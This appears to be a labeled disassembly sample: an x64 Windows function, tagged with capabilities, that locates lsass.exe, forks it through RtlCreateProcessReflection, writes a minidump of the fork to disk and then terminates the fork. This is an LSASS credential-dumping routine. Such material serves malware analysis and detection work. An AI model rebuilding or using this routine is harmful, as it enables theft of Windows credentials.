Function at 0x140001110
Capabilities:
Create process memory minidump
Enumerate processes
Terminate process
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x200], rax
xor r14d, r14d
mov dword [rbp - 0x68], r14d
mov edi, r14d
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400011bf
mov dword [rbp - 0x40], 0x238
lea rdx, [rbp - 0x40]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
mov rcx, rbx
test eax, eax
je 0x1400011b9
lea rdx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x1400011ff
nop dword [rax]
lea rdx, [rbp - 0x14]
lea rcx, str.lsass.exe
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x1400011fc
lea rdx, [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001190
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Could_not_find_lsass.exe_PID__n
call fcn.140001040
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.140001900
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov edi, dword [rbp - 0x38]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x1400011bf
lea rdx, str.Lsass_PID:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400016e0
mov rcx, rax
mov edx, edi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400018b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x14000125e
lea rcx, str.Could_not_open_a_handle_to_lsass.exe__n
jmp 0x1400011c6
lea rcx, str.Got_a_handle_to_lsass.exe_succesfuly__n
call fcn.140001040
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x140001288
lea rcx, str.Could_not_load_ntdll.dll__n
jmp 0x1400011c6
lea rdx, str.RtlCreateProcessReflection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x1400012a9
lea rcx, str.Could_not_find_RtlCreateProcessReflection_in_ntdll.dll__n
jmp 0x1400011c6
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rbp - 0x78], xmm0
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 2]
mov rcx, rbx
call rax
mov esi, eax
test eax, eax
jne 0x1400015f5
mov ebx, dword [rbp - 0x78]
lea rcx, str.Succesfully_Mirrored_to_lsass.exe__n
call fcn.140001040
lea rdx, str.Lsass_PID:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400016e0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400018b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140001252
lea rcx, str.Got_a_handle_of_Mirrored_lsass.exe_succesfuly__n
call fcn.140001040
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [0x1400010a0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], r14
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
lea r9d, [rsi + 2]
xor r8d, r8d
mov edx, ebx
mov rcx, rdi
call qword [sym.imp.dbghelp.dll_MiniDumpWriteDump]
test eax, eax
jne 0x14000139c
lea rcx, str.Failed_to_create_a_dump_of_the_forked_process__n
call fcn.140001040
lea eax, [rsi + 1]
jmp 0x1400011d0
lea rcx, str.Successfully_created_dump_of_the_forked_process__n
call fcn.140001040
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], 6
mov qword [rbp - 0x48], 0xf
mov eax, dword [str.f.elif]
mov dword [rbp - 0x60], eax
movzx eax, word [0x140003548]
mov word [rbp - 0x5c], ax
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001412
lea rcx, str.Failed_to_create_dump_file__n
jmp 0x1400015a7
lea rcx, str.Successfully_initialized_dump_file__n
call fcn.140001040
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x68]
mov r8d, dword [0x140005620]
mov rdx, qword [0x140005628]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400015a0
lea rcx, str.Successfully_dumped_lsass_process__n
call fcn.140001040
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.Checking_if_file_exists_and_greater_than_5MBs__n
call fcn.140001040
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae rcx, qword [rbp - 0x60]
lea r8, [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
test eax, eax
jne 0x140001494
lea rcx, str.Failed_to_get_file_attributes
jmp 0x1400015a7
lea rdx, str.High_Order_File_Size:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400016e0
mov rcx, rax
mov edx, dword [rsp + 0x6c]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400018b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Low_Order_File_Size:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400016e0
mov rcx, rax
mov edx, dword [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x1400018b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp dword [rsp + 0x6c], 0
jne 0x140001511
cmp dword [rsp + 0x70], 0x500000
jae 0x140001511
lea rcx, str.File_size_is_less_than_5MBs__n
jmp 0x1400015a7
lea rcx, str.File_exists_and_size_is_greater_than_5MBs__n
call fcn.140001040
mov r8d, ebx
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x140001539
lea rcx, str.Failed_to_open_new_lsass.exe_process__n
jmp 0x1400015a7
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x140001551
lea rcx, str.Failed_to_terminate_new_lsass.exe_process__n
jmp 0x1400015a7
lea rcx, str.New_lsass.exe_process_terminated__n
call fcn.140001040
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x140001601
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001594
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400015df
call fcn.140001920
mov eax, esi
jmp 0x1400011d0
lea rcx, str.Failed_to_write_dump_to_disk__n
call fcn.140001040
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1400015eb
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400015e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015e6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001920
mov eax, 1
jmp 0x1400011d0
lea rcx, str.Could_not_mirror_to_lsass.exe__n
call fcn.140001040
mov eax, esi
jmp 0x1400011d0